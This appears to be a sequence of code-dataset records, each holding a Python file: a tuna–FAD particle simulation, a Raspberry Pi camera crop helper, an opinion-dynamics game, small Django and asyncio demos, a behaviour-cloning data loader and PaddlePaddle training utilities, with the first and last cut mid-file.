fieldset.add_constant(\"Rtt\", 3.) # tuna-tuna max interaction distance (km)\n scale = 300\n fieldset.add_constant(\"epsP\", 12/(24*3600)/scale) # prey depletion by tuna (per second)\n fieldset.add_constant(\"Td\", 2/(24*3600)/scale) # tuna gastric evacuation rate\n fieldset.add_constant(\"scaleD\", scale) # scale tuna gastric evacuation rate\n\n fieldset.add_constant(\"epsT\", 0.5) # Fraction of associated tuna caught\n p = float(sys.argv[8])\n fieldset.add_constant(\"p\", p) # p parameter of the geometric distribution\n fieldset.add_constant(\"nfad\", nfad) # total number of FADs\n fieldset.add_constant(\"ntuna\", ntuna) # total number of tuna particles\n # Set a maximum tuna swimming velocity\n fieldset.add_constant(\"Vmax\", (0.4 / 1000)) # km/s\n # the domain\n fieldset.add_constant(\"Lx\", lx)\n fieldset.add_constant(\"Ly\", ly)\n # Determines concentration parameter of von Mises'\n fieldset.add_constant(\"alpha\", 3.) # swimming towards prey\n fieldset.add_constant(\"gamma\", 2.) # swimming towards other tuna\n\n # Random walk flow:\n if(ff=='RW'):\n fieldset.add_constant_field(\"Kh_zonalF\", 0.05/1000, mesh=\"flat\") # in km/s\n fieldset.add_constant_field(\"Kh_meridionalF\", 0.05/1000, mesh=\"flat\") # in km/s\n fieldset.add_constant_field(\"Kh_zonalT\", 0.1/1000, mesh=\"flat\") \n fieldset.add_constant_field(\"Kh_meridionalT\", 0.05/1000, mesh=\"flat\") \n\n # Parameters of the Logistic curve, which determines\n # the dependence of FAD attraction strength on the number \n # of associated tuna\n fieldset.add_constant(\"lL\", 1.) # maximum of logistic curve\n fieldset.add_constant(\"lk\", 0.35) # steepness of logistic curve\n fieldset.add_constant(\"lx0\", 12) # value of the sigmoid midpoint\n # And for the vp\n fieldset.add_constant(\"pL\", 2.5) # maximum of logistic curve\n\n # Parameter for the Bickley Jet flow\n if(ff=='BJ'):\n fieldset.add_constant(\"Ubj\", (.1 / 1000)) # maximum flow strength (km/s)\n\n # Parameters for the double gyre flow\n if(ff=='DG'):\n fieldset.add_constant(\"A\", (0.05 / 1000)) # flow strength\n fieldset.add_constant(\"omega\", 2*np.pi/ (10*24*60*60)) # frequency of one oscillation (per second)\n fieldset.add_constant(\"epsDG\", 0.2) # \n\n # Create custom particle class with extra variable that indicates\n # whether the interaction kernel should be executed on this particle.\n class TFParticle(ScipyParticle):\n ptype = Variable('ptype', dtype=int, to_write='once')\n caught = Variable('caught', dtype=float, initial=0)\n mlon = Variable('mlon', dtype=float, to_write=False, initial=0)\n mlat = Variable('mlat', dtype=float, to_write=False, initial=0)\n FADkap = Variable('FADkap', dtype=float, to_write=True, initial=1.)\n # To govern the displacement of particles (used for velocity normalization):\n dla = Variable('dla', dtype=float, to_write=False, initial=0.)\n dlo = Variable('dlo', dtype=float, to_write=False, initial=0.)\n gradx = Variable('gradx', dtype=float, to_write=False, initial=0.)\n grady = Variable('grady', dtype=float, to_write=False, initial=0.)\n # Stomach fullness:\n St = Variable('St', dtype=float, to_write=False, initial=0.5)\n Sta = Variable('Sta', dtype=float, to_write=True, initial=0)\n Stna = Variable('Stna', dtype=float, to_write=True, initial=0)\n Stac = Variable('Stac', dtype=float, to_write=True, initial=0)\n Stnac = Variable('Stnac', dtype=float, to_write=True, initial=0)\n\n print('number of FADs: ',np.sum((ptype==1)))\n pset = ParticleSet(fieldset=fieldset, pclass=TFParticle,\n lon=X, lat=Y,\n interaction_distance=max_interaction_distance,\n ptype=ptype)\n\n output_file = pset.ParticleFile(name=\"output/FADPrey%s_no%d_npart%d_nfad%d_T%.2f_F%.2f_P%.2f_I%.2f_p%.1f_Pa%.1f.nc\"%(ff,seed,npart,nfad,float(sys.argv[4]),float(sys.argv[5]),float(sys.argv[6]),float(sys.argv[7]),float(sys.argv[8]),float(sys.argv[9])),\n outputdt=4.32e4) # output twice a day\n\n rt = 8.64e6 # 100 days of simulation\n print('model run time (days): ',rt/24/3600)\n\n # set up the kernels, which depends on the configuration used\n kernels = pset.Kernel(pk.CaughtP) + pset.Kernel(pk.GEvacuation) # increase tuna hunger\n ikernels = pset.InteractionKernel(pk.Iattraction)\n if(ff=='DG'):\n kernels += pset.Kernel(pk.DoubleGyre) # Double Gyre flow \n elif(ff=='RW'):\n kernels += pset.Kernel(pk.DiffusionUniformKhP) # Random walk flow\n if(ff=='BJ'):\n kernels += pset.Kernel(pk.BickleyJet) # Bickley jet flow\n kernels += pset.Kernel(pk.DisplaceParticle) # displace tuna due to swimming\n kernels += pset.Kernel(pk.zper_mrefBC) # reflective boundary conditions\n kernels += pset.Kernel(pk.PreyGrad_zpb) # calculate prey gradient\n\n ikernels += pset.InteractionKernel(pk.ItunaFAD_zpb)\n ikernels += pset.InteractionKernel(pk.Itunatuna_zpb)\n else:\n kernels += pset.Kernel(pk.DisplaceParticle) # displace tuna due to swimming\n kernels += pset.Kernel(pk.reflectiveBC) # reflective boundary conditions\n kernels += pset.Kernel(pk.PreyGrad) # calculate prey gradient\n\n ikernels += pset.InteractionKernel(pk.ItunaFAD)\n ikernels += pset.InteractionKernel(pk.Itunatuna)\n\n kernels += pset.Kernel(pk.FaugerasDiffusion)\n kernels += pset.Kernel(pk.Inertia)\n kernels += pset.Kernel(pk.prevloc)\n kernels += pset.Kernel(pk.PreyDeplete)\n\n ikernels += pset.InteractionKernel(pk.Stcheck)\n if(p!=-2): # p==-2 means that no fish is caught\n ikernels += pset.InteractionKernel(pk.ItunaPredFAD)\n\n pset.execute(pyfunc=kernels,\n pyfunc_inter=ikernels,\n # 20 minute time step\n runtime=rt, dt=1.2e3, output_file=output_file,verbose_progress=False)\n\n\n output_file.close()\nprint('total time (minutes):',(ostime.time()-ti0)/60)\n","sub_path":"IBM/tunaFADpreyF.py","file_name":"tunaFADpreyF.py","file_ext":"py","file_size_in_byte":12286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"394151715","text":"# crop helper\n# crop the original image to square size. \n# the circular image should locate in the middle\n# read the image from the master and slave pis\n# save the images to the local img/helpmaster.jpg & img/helpslave.jpg\n# save the cropped image to the local img/helpcroppedmaster.jpg & img/helpcroppedslave.jpg\n# show the cropped image on html\n\nimport sys\nimport numpy as np\nimport cv2\nimport requests,time\nfrom urllib import urlopen\nfrom pathlib import Path\nimport re\n\ndef main():\n [tmp,mleft,sleft,mtop,stop,msize,ssize] = sys.argv \n print(tmp)\n mleft=int(mleft)\n sleft=int(sleft)\n mtop =int(mtop)\n stop =int(stop)\n msize=int(msize)\n ssize=int(ssize)\n\n imgmasterori='imghelp/helpmaster.jpg'\n imgslaveori='imghelp/helpslave.jpg'\n\n masterori_file = Path(imgmasterori)\n slaveori_file = Path(imgslaveori)\n \n if not masterori_file.is_file() or not slaveori_file.is_file():\n # get image from master and slave pi and save them to local\n requests.get(\"http://127.0.0.1/picam/cmd_pipe.php?cmd=im\");\n requests.get(\"http://raspberrypi.local/picam/cmd_pipe.php?cmd=im\");\n\n time.sleep(1)\n\n paternsize = 1000\n\n slave_media_dir = 'http://raspberrypi.local/picam/media/'\n master_media_dir = 'http://127.0.0.1/picam/media/'\n urlpath = urlopen(slave_media_dir)\n string = urlpath.read().decode('utf-8')\n patern = re.compile('([^\\\"\\']*\\.jpg)');\n filelist = patern.findall(string[len(string)-paternsize:])\n filename = filelist[len(filelist)-4]\n output = open(imgslaveori,\"wb\")\n rsc = urlopen(slave_media_dir+filename)\n output.write(rsc.read())\n output.close()\n\n urlpath = urlopen(master_media_dir)\n string = urlpath.read().decode('utf-8')\n filelist = patern.findall(string[len(string)-paternsize:])\n filename = filelist[len(filelist)-4]\n output = open(imgmasterori,\"wb\")\n rsc = urlopen(master_media_dir+filename)\n output.write(rsc.read())\n output.close()\n\n\n imgmaster = cv2.imread(imgmasterori,cv2.IMREAD_COLOR)\n imgslave = cv2.imread(imgslaveori ,cv2.IMREAD_COLOR)\n tmpimg = imgmaster\n cv2.circle(tmpimg, (int(0.5*msize)+mleft,int(0.5*msize)-mtop), int(0.5*msize), (0,0,255), 5)\n cv2.imwrite(\"imghelp/helpcroppedmaster.png\",tmpimg)\n tmpimg = imgslave\n cv2.circle(tmpimg, (int(0.5*ssize)+sleft,int(0.5*ssize)-stop), int(0.5*ssize), (0,0,255), 5)\n cv2.imwrite(\"imghelp/helpcroppedslave.png\",tmpimg)\n print('finished the crop!')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"picam/crophelper.py","file_name":"crophelper.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"214250341","text":"import numpy as np\n\n\ndef print_matrix(matrix, matrix_name=\"Матрица:\"):\n print(matrix_name)\n print(\"\\n\".join(\", \".join(\"{0:.3f}\".format(x) for x in row) for row in matrix))\n\n\nclass InformationalConfrontationGame(object):\n def __init__(self, dim=10, epsilon=10e-6, opinion_range=(0, 100), initial_opinions=None, trust_matrix=None):\n self.dim = dim\n self.epsilon = epsilon\n self.opinion_range = opinion_range\n self.initial_opinions = initial_opinions\n if not initial_opinions:\n self.gen_initial_opinions()\n \n self.trust_matrix = trust_matrix\n if not trust_matrix:\n self.gen_trust_matrix()\n \n def gen_initial_opinions(self):\n self.initial_opinions = np.random.randint(self.opinion_range[0], self.opinion_range[1], self.dim)\n \n def gen_trust_matrix(self):\n matrix = []\n for _ in np.arange(self.dim):\n row = np.random.sample(self.dim)\n matrix.append(row / row.sum())\n self.trust_matrix = np.array(matrix)\n \n def reach_accuracy(self, opinions):\n _iter = 0\n accuracy_reached = True\n while accuracy_reached:\n _iter += 1\n \n new_opinions = self.trust_matrix.dot(opinions).transpose()\n if all(x <= self.epsilon for x in np.abs(opinions - new_opinions)):\n accuracy_reached = False\n opinions = new_opinions\n return opinions, _iter\n \n def solve(self):\n result_opinions, iter_count = self.reach_accuracy(self.initial_opinions)\n print_matrix(self.trust_matrix, \"Матрица доверия:\")\n print(\"Изначальные мнения агентов:\")\n print(\"X(0) =\", self.initial_opinions)\n print(\"Потребовалось итераций:\", iter_count)\n print(\"Результирующее мнение агентов (без влияния):\")\n print(\"X(t->inf) =\", \", \".join(\"{0:.3f}\".format(x) for x in result_opinions))\n print()\n \n def solve_with_info_influence(self):\n agents = np.arange(self.dim)\n np.random.shuffle(agents)\n u_size, v_size = len(agents), len(agents)\n while u_size + v_size > len(agents):\n u_size = np.random.randint(1, len(agents))\n v_size = np.random.randint(1, len(agents))\n u_agents = agents[:u_size]\n v_agents = agents[u_size:u_size + v_size]\n print(\"Агенты первого игрока: {0}, агенты второго игрока: {1}\".format(sorted(u_agents), sorted(v_agents)))\n opinions_with_infl = self.initial_opinions\n u_influence_value = np.random.randint(self.opinion_range[0], self.opinion_range[1])\n v_influence_value = -np.random.randint(self.opinion_range[0], self.opinion_range[1])\n print(\"Сформированное начальное мнение первого игрока: {0:.0f}\".format(u_influence_value))\n print(\"Сформированное начальное мнение второго игрока: {0:.0f}\".format(v_influence_value))\n for number in np.hstack((v_agents, u_agents)):\n opinions_with_infl[number] = u_influence_value if number in u_agents else v_influence_value\n \n print(\"Изначальные мнения с учетом сформированных:\")\n print(\"X(0) =\", opinions_with_infl)\n result_opinions, iter_count = self.reach_accuracy(opinions_with_infl)\n print(\"Потребовалось итераций:\", iter_count)\n print(\"Результирующее мнение:\")\n print(\"X(t->inf) =\", \", \".join(\"{0:.3f}\".format(x) for x in result_opinions))\n # вывод матрицы в степени бескоечность\n accur_matrix = self.trust_matrix\n for _ in range(iter_count - 1):\n accur_matrix = accur_matrix.dot(self.trust_matrix)\n print_matrix(accur_matrix)\n\n\nif __name__ == '__main__':\n game = InformationalConfrontationGame(10)\n game.solve()\n game.solve_with_info_influence()\n","sub_path":"Tasks/Task12L6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"88974001","text":"import django\n\n#Comentario\nsaludo = \"Hola \"\nnombre = \"Usuario\"\nversion = \"1.1.4\"\n\nnum1 = 4\nnum2 = -3\nnumwhile = 0\n\nresultado = num1 + num2\nresultado2 = num1 ** num2\n\nprint(saludo,nombre,\" Estas en la Version: \",version, \"\\nLa suma de\", num1, \"y\", num2, \"es: \", resultado)\n\nprint(\"Y la potencia de \",num1,\"elevado a \",num2, \"es: \",resultado2)\n\nif resultado < 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Negativo\")\nelif resultado == 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Cero\")\nelif resultado > 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Positivo\")\n\nprint (\"num1 = \", num1)\n\ni=1\nnumwhile = 1\nwhile i<=4:\n numwhile = numwhile*num1\n print(\"(While) Numero actual: \", numwhile)\n i=i+1\n\nprint (\"num1 = \", num1)\n\nfor i in range(1,11):\n print(\"(For) Iteracion numero: \", i)\n\ndef sumar(n1,n2):\n res=n1+n2\n print(\"La suma es\", res)\n\ndef restar(n1,n2):\n res=n1-n2\n return res\n\nprint(\"Estas corriendo Django version:\")\nprint(django.get_version())","sub_path":"sintaxis.py","file_name":"sintaxis.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"287770531","text":"import asyncio\nfrom asyncio import get_event_loop, wait, wait_for\nfrom collections import namedtuple\n\nPeople = namedtuple('People', ['name', 'delay'])\n\n\nclass EchoServer:\n\n def __init__(self):\n print('Server has initialized')\n\n def run(self):\n print('Server is started and running')\n # loop.run_until_complete(self.main())\n asyncio.run(self.main())\n # pendings = asyncio.all_tasks(loop)\n # print('Pending tasks:', pendings)\n # loop.run_until_complete(asyncio.gather(*pendings))\n\n\n async def main(self):\n tasks = []\n people = [\n People('Annie', 2),\n People('Bella', 1),\n People('Ciri', 5),\n People('Duke', 10),\n ]\n for person in people:\n loop = asyncio.get_running_loop()\n print(loop)\n tasks.append(asyncio.create_task(self.greeting(person.name, person.delay)))\n print(person.name, 'task created')\n print('main going to sleep')\n await asyncio.sleep(1)\n print(f'################## MAIN ####################')\n\n print('pending tasks:', tasks)\n await asyncio.gather(*tasks)\n\n print('Existing main')\n\n async def greeting(self, name, delay=0):\n print(f'################## {name} Task Started ####################')\n print('Hello there', name)\n await self.task_switch(delay)\n print('task resume')\n print('Hello again', name)\n print(f'################## {name} Task Stopped ####################')\n\n\n async def task_switch(self, delay):\n print('task sleep for', delay)\n await asyncio.sleep(delay)\n\n\n\nif __name__ == '__main__':\n server = EchoServer()\n server.run()\n","sub_path":"echo-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"555888247","text":"import numpy as np\nimport pickle\n\n\nclass Expert_data(object):\n def __init__(self, fpath):\n self.load_data(fpath)\n self.pointer = 0\n\n def load_data(self, fpath):\n with open(fpath, 'rb') as f:\n data = pickle.load(f)\n self.obs = data['observations']\n self.acts = data['actions']\n self.acts = self.acts.reshape(len(self.acts), -1)\n self.rewards = data['ep_ret']\n self.size = len(self.obs)\n print(f'total transitions: {self.size}, rewards: {np.mean(self.rewards)}+-{np.std(self.rewards)}')\n indexes = [i for i in range(self.size)]\n np.random.shuffle(indexes)\n self.obs = self.obs[indexes]\n self.acts = self.acts[indexes]\n self.eval_size = int(0.3 * self.size)\n self.obs_eval = self.obs[: self.eval_size]\n self.acts_eval = self.acts[: self.eval_size]\n self.bc_obs = self.obs[self.eval_size:]\n self.bc_acts = self.acts[self.eval_size:]\n self.bc_size = self.size - self.eval_size\n\n def bc_sample_batch(self, batch_size=32):\n if self.pointer + batch_size > self.bc_size:\n self.pointer = 0\n batch_obs = self.bc_obs[self.pointer: self.pointer + batch_size]\n batch_acts = self.bc_acts[self.pointer: self.pointer + batch_size]\n self.pointer += batch_size\n return batch_obs, batch_acts\n\n\nif __name__ == '__main__':\n expert_data = Expert_data('expert_data/Hopper-v2.pkl')\n obs, acts = expert_data.bc_sample_batch()\n print(obs.shape, acts.shape)\n","sub_path":"hw1/data_set.py","file_name":"data_set.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"92607842","text":"# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserve.\n#\n#Licensed under the Apache License, Version 2.0 (the \"License\");\n#you may not use this file except in compliance with the License.\n#You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n#Unless required by applicable law or agreed to in writing, software\n#distributed under the License is distributed on an \"AS IS\" BASIS,\n#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#See the License for the specific language governing permissions and\n#limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport distutils.util\nimport numpy as np\nimport six\nimport argparse\nimport functools\nimport logging\nimport sys\nimport os\nimport warnings\nimport signal\nimport easydict\n\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid.wrapped_decorator import signature_safe_contextmanager\nfrom paddle.fluid.framework import Program, program_guard, name_scope, default_main_program\nfrom paddle.fluid import unique_name, layers\nfrom image_classification.utils import dist_utils\n\n\ndef parse_args():\n \"\"\"Add arguments\n\n Returns: \n all training args\n \"\"\"\n args = easydict.EasyDict({\n \"use_gpu\": True,\n \"model_save_dir\": \"./output\",\n \"data_dir\": None,\n \"pretrained_model\": None,\n \"checkpoint\": None,\n \"print_step\": 10,\n \"save_step\": 1,\n \"model\": \"ResNet50\",\n \"total_images\": 1281167,\n \"num_epochs\": 120,\n \"class_dim\": 1000,\n \"image_shape\": \"3,224,224\",\n \"batch_size\": 8,\n \"test_batch_size\": 16,\n \"lr\": 0.1,\n \"lr_strategy\": \"piecewise_decay\",\n \"l2_decay\": 1e-04,\n \"momentum_rate\": 0.9,\n \"warm_up_epochs\": 5.0,\n \"decay_epochs\": 2.4,\n \"decay_rate\": 0.97,\n \"drop_connect_rate\": 0.2,\n \"step_epochs\": [30, 60, 90],\n \"lower_scale\": 0.08,\n \"lower_ratio\": 3. / 4,\n \"upper_ratio\": 4. / 3,\n \"resize_short_size\": 256,\n \"crop_size\": 224,\n \"use_mixup\": False,\n \"mixup_alpha\": 0.2,\n \"reader_thread\": 8,\n \"reader_buf_size\": 2048,\n \"interpolation\": None,\n \"use_aa\": False,\n \"image_mean\": [0.485, 0.456, 0.406],\n \"image_std\": [0.229, 0.224, 0.225],\n \"use_label_smoothing\": False,\n \"label_smoothing_epsilon\": 0.1,\n \"random_seed\": None,\n \"use_ema\": False,\n \"ema_decay\": 0.9999,\n \"padding_type\": \"SAME\",\n \"use_se\": True,\n \"img_file\": \"\",\n \"topk\": 1,\n })\n return args\n\n\ndef check_gpu():\n \"\"\" \n Log error and exit when set use_gpu=true in paddlepaddle\n cpu ver sion.\n \"\"\"\n logger = logging.getLogger(__name__)\n err = \"Config use_gpu cannot be set as true while you are \" \\\n \"using paddlepaddle cpu version ! \\nPlease try: \\n\" \\\n \"\\t1. Install paddlepaddle-gpu to run model on GPU \\n\" \\\n \"\\t2. Set use_gpu as false in config file to run \" \\\n \"model on CPU\"\n\n try:\n if args.use_gpu and not fluid.is_compiled_with_cuda():\n print(err)\n sys.exit(1)\n except Exception as e:\n pass\n\n\ndef check_version():\n \"\"\"\n Log error and exit when the installed version of paddlepaddle is\n not satisfied.\n \"\"\"\n err = \"PaddlePaddle version 1.6 or higher is required, \" \\\n \"or a suitable develop version is satisfied as well. \\n\" \\\n \"Please make sure the version is good with your code.\" \\\n\n try:\n fluid.require_version('1.6.0')\n except Exception as e:\n print(err)\n sys.exit(1)\n\n\ndef check_args(args):\n \"\"\"check arguments before running\n\n Args:\n all arguments\n \"\"\"\n\n # check models name\n sys.path.append(\"..\")\n import models\n model_list = [m for m in dir(models) if \"__\" not in m]\n assert args.model in model_list, \"{} is not in lists: {}, please check the model name\".format(\n args.model, model_list)\n\n # check learning rate strategy\n lr_strategy_list = [\n \"piecewise_decay\", \"cosine_decay\", \"linear_decay\",\n \"cosine_decay_warmup\", \"exponential_decay_warmup\"\n ]\n if args.lr_strategy not in lr_strategy_list:\n warnings.warn(\n \"\\n{} is not in lists: {}, \\nUse default learning strategy now.\".\n format(args.lr_strategy, lr_strategy_list))\n args.lr_strategy = \"default_decay\"\n # check confict of GoogLeNet and mixup\n if args.model == \"GoogLeNet\":\n assert args.use_mixup == False, \"Cannot use mixup processing in GoogLeNet, please set use_mixup = False.\"\n\n if args.interpolation:\n assert args.interpolation in [\n 0, 1, 2, 3, 4\n ], \"Wrong interpolation, please set:\\n0: cv2.INTER_NEAREST\\n1: cv2.INTER_LINEAR\\n2: cv2.INTER_CUBIC\\n3: cv2.INTER_AREA\\n4: cv2.INTER_LANCZOS4\"\n\n if args.padding_type:\n assert args.padding_type in [\n \"SAME\", \"VALID\", \"DYNAMIC\"\n ], \"Wrong padding_type, please set:\\nSAME\\nVALID\\nDYNAMIC\"\n\n assert args.checkpoint is None or args.pretrained_model is None, \"Do not init model by checkpoint and pretrained_model both.\"\n\n # check pretrained_model path for loading\n if args.pretrained_model is not None:\n assert isinstance(args.pretrained_model, str)\n assert os.path.isdir(\n args.\n pretrained_model), \"please support available pretrained_model path.\"\n\n #FIXME: check checkpoint path for saving\n if args.checkpoint is not None:\n assert isinstance(args.checkpoint, str)\n assert os.path.isdir(\n args.checkpoint\n ), \"please support available checkpoint path for initing model.\"\n\n # check params for loading\n \"\"\"\n if args.save_params:\n assert isinstance(args.save_params, str)\n assert os.path.isdir(\n args.save_params), \"please support available save_params path.\"\n \"\"\"\n\n # check gpu: when using gpu, the number of visible cards should divide batch size\n if args.use_gpu:\n assert args.batch_size % fluid.core.get_cuda_device_count(\n ) == 0, \"please support correct batch_size({}), which can be divided by available cards({}), you can change the number of cards by indicating: export CUDA_VISIBLE_DEVICES= \".format(\n args.batch_size, fluid.core.get_cuda_device_count())\n\n # check data directory\n assert args.data_dir is None or \\\n os.path.isdir(\n args.data_dir\n ), \"Data doesn't exist in {}, please load right path\".format(args.data_dir)\n\n #check gpu\n\n check_gpu()\n check_version()\n\n\ndef init_model(exe, args, program):\n if args.checkpoint:\n fluid.io.load_persistables(exe, args.checkpoint, main_program=program)\n print(\"Finish initing model from %s\" % (args.checkpoint))\n\n if args.pretrained_model:\n\n def if_exist(var):\n return os.path.exists(os.path.join(args.pretrained_model, var.name))\n\n fluid.io.load_vars(\n exe,\n args.pretrained_model,\n main_program=program,\n predicate=if_exist)\n\n\ndef save_model(args, exe, train_prog, info):\n model_path = os.path.join(args.model_save_dir, args.model, str(info))\n if not os.path.isdir(model_path):\n os.makedirs(model_path)\n fluid.io.save_persistables(exe, model_path, main_program=train_prog)\n print(\"Already save model in %s\" % (model_path))\n\n\ndef create_data_loader(is_train, args):\n \"\"\"create data_loader\n\n Usage:\n Using mixup process in training, it will return 5 results, include data_loader, image, y_a(label), y_b(label) and lamda, or it will return 3 results, include data_loader, image, and label.\n\n Args: \n is_train: mode\n args: arguments\n\n Returns:\n data_loader and the input data of net, \n \"\"\"\n image_shape = [int(m) for m in args.image_shape.split(\",\")]\n\n feed_image = fluid.data(\n name=\"feed_image\",\n shape=[None] + image_shape,\n dtype=\"float32\",\n lod_level=0)\n\n feed_label = fluid.data(\n name=\"feed_label\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n feed_y_a = fluid.data(\n name=\"feed_y_a\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n\n if is_train and args.use_mixup:\n feed_y_b = fluid.data(\n name=\"feed_y_b\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n feed_lam = fluid.data(\n name=\"feed_lam\", shape=[None, 1], dtype=\"float32\", lod_level=0)\n\n data_loader = fluid.io.DataLoader.from_generator(\n feed_list=[feed_image, feed_y_a, feed_y_b, feed_lam],\n capacity=64,\n use_double_buffer=True,\n iterable=False)\n return data_loader, [feed_image, feed_y_a, feed_y_b, feed_lam]\n else:\n data_loader = fluid.io.DataLoader.from_generator(\n feed_list=[feed_image, feed_label],\n capacity=64,\n use_double_buffer=True,\n iterable=False)\n\n return data_loader, [feed_image, feed_label]\n\n\ndef print_info(pass_id, batch_id, print_step, metrics, time_info, info_mode):\n \"\"\"print function\n\n Args:\n pass_id: epoch index\n batch_id: batch index\n print_step: the print_step arguments\n metrics: message to print\n time_info: time infomation\n info_mode: mode\n \"\"\"\n if info_mode == \"batch\":\n if batch_id % print_step == 0:\n #if isinstance(metrics,np.ndarray):\n # train and mixup output\n if len(metrics) == 2:\n loss, lr = metrics\n print(\n \"[Pass {0}, train batch {1}] \\tloss {2}, lr {3}, elapse {4}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % lr,\n \"%2.4f sec\" % time_info))\n # train and no mixup output\n elif len(metrics) == 4:\n loss, acc1, acc5, lr = metrics\n print(\n \"[Pass {0}, train batch {1}] \\tloss {2}, acc1 {3}, acc5 {4}, lr {5}, elapse {6}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % acc1,\n \"%.5f\" % acc5, \"%.5f\" % lr, \"%2.4f sec\" % time_info))\n # test output\n elif len(metrics) == 3:\n loss, acc1, acc5 = metrics\n print(\n \"[Pass {0}, test batch {1}] \\tloss {2}, acc1 {3}, acc5 {4}, elapse {5}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % acc1,\n \"%.5f\" % acc5, \"%2.4f sec\" % time_info))\n else:\n raise Exception(\n \"length of metrics {} is not implemented, It maybe caused by wrong format of build_program_output\".\n format(len(metrics)))\n sys.stdout.flush()\n\n elif info_mode == \"epoch\":\n ## TODO add time elapse\n #if isinstance(metrics,np.ndarray):\n if len(metrics) == 5:\n train_loss, _, test_loss, test_acc1, test_acc5 = metrics\n print(\n \"[End pass {0}]\\ttrain_loss {1}, test_loss {2}, test_acc1 {3}, test_acc5 {4}\".\n format(pass_id, \"%.5f\" % train_loss, \"%.5f\" % test_loss, \"%.5f\"\n % test_acc1, \"%.5f\" % test_acc5))\n elif len(metrics) == 7:\n train_loss, train_acc1, train_acc5, _, test_loss, test_acc1, test_acc5 = metrics\n print(\n \"[End pass {0}]\\ttrain_loss {1}, train_acc1 {2}, train_acc5 {3},test_loss {4}, test_acc1 {5}, test_acc5 {6}\".\n format(pass_id, \"%.5f\" % train_loss, \"%.5f\" % train_acc1, \"%.5f\"\n % train_acc5, \"%.5f\" % test_loss, \"%.5f\" % test_acc1,\n \"%.5f\" % test_acc5))\n sys.stdout.flush()\n elif info_mode == \"ce\":\n raise Warning(\"CE code is not ready\")\n else:\n raise Exception(\"Illegal info_mode\")\n\n\ndef best_strategy_compiled(args, program, loss, exe):\n \"\"\"make a program which wrapped by a compiled program\n \"\"\"\n\n if os.getenv('FLAGS_use_ngraph'):\n return program\n else:\n build_strategy = fluid.compiler.BuildStrategy()\n #Feature will be supported in Fluid v1.6\n #build_strategy.enable_inplace = True\n\n exec_strategy = fluid.ExecutionStrategy()\n exec_strategy.num_threads = fluid.core.get_cuda_device_count()\n exec_strategy.num_iteration_per_drop_scope = 10\n\n num_trainers = int(os.environ.get('PADDLE_TRAINERS_NUM', 1))\n if num_trainers > 1 and args.use_gpu:\n dist_utils.prepare_for_multi_process(exe, build_strategy, program)\n # NOTE: the process is fast when num_threads is 1\n # for multi-process training.\n exec_strategy.num_threads = 1\n\n compiled_program = fluid.CompiledProgram(program).with_data_parallel(\n loss_name=loss.name,\n build_strategy=build_strategy,\n exec_strategy=exec_strategy)\n\n return compiled_program\n\n\nclass ExponentialMovingAverage(object):\n def __init__(self,\n decay=0.999,\n thres_steps=None,\n zero_debias=False,\n name=None):\n self._decay = decay\n self._thres_steps = thres_steps\n self._name = name if name is not None else ''\n self._decay_var = self._get_ema_decay()\n\n self._params_tmps = []\n for param in default_main_program().global_block().all_parameters():\n if param.do_model_average != False:\n tmp = param.block.create_var(\n name=unique_name.generate(\".\".join(\n [self._name + param.name, 'ema_tmp'])),\n dtype=param.dtype,\n persistable=False,\n stop_gradient=True)\n self._params_tmps.append((param, tmp))\n\n self._ema_vars = {}\n for param, tmp in self._params_tmps:\n with param.block.program._optimized_guard(\n [param, tmp]), name_scope('moving_average'):\n self._ema_vars[param.name] = self._create_ema_vars(param)\n\n self.apply_program = Program()\n block = self.apply_program.global_block()\n with program_guard(main_program=self.apply_program):\n decay_pow = self._get_decay_pow(block)\n for param, tmp in self._params_tmps:\n param = block._clone_variable(param)\n tmp = block._clone_variable(tmp)\n ema = block._clone_variable(self._ema_vars[param.name])\n layers.assign(input=param, output=tmp)\n # bias correction\n if zero_debias:\n ema = ema / (1.0 - decay_pow)\n layers.assign(input=ema, output=param)\n\n self.restore_program = Program()\n block = self.restore_program.global_block()\n with program_guard(main_program=self.restore_program):\n for param, tmp in self._params_tmps:\n tmp = block._clone_variable(tmp)\n param = block._clone_variable(param)\n layers.assign(input=tmp, output=param)\n\n def _get_ema_decay(self):\n with default_main_program()._lr_schedule_guard():\n decay_var = layers.tensor.create_global_var(\n shape=[1],\n value=self._decay,\n dtype='float32',\n persistable=True,\n name=\"scheduled_ema_decay_rate\")\n\n if self._thres_steps is not None:\n decay_t = (self._thres_steps + 1.0) / (self._thres_steps + 10.0)\n with layers.control_flow.Switch() as switch:\n with switch.case(decay_t < self._decay):\n layers.tensor.assign(decay_t, decay_var)\n with switch.default():\n layers.tensor.assign(\n np.array(\n [self._decay], dtype=np.float32),\n decay_var)\n return decay_var\n\n def _get_decay_pow(self, block):\n global_steps = layers.learning_rate_scheduler._decay_step_counter()\n decay_var = 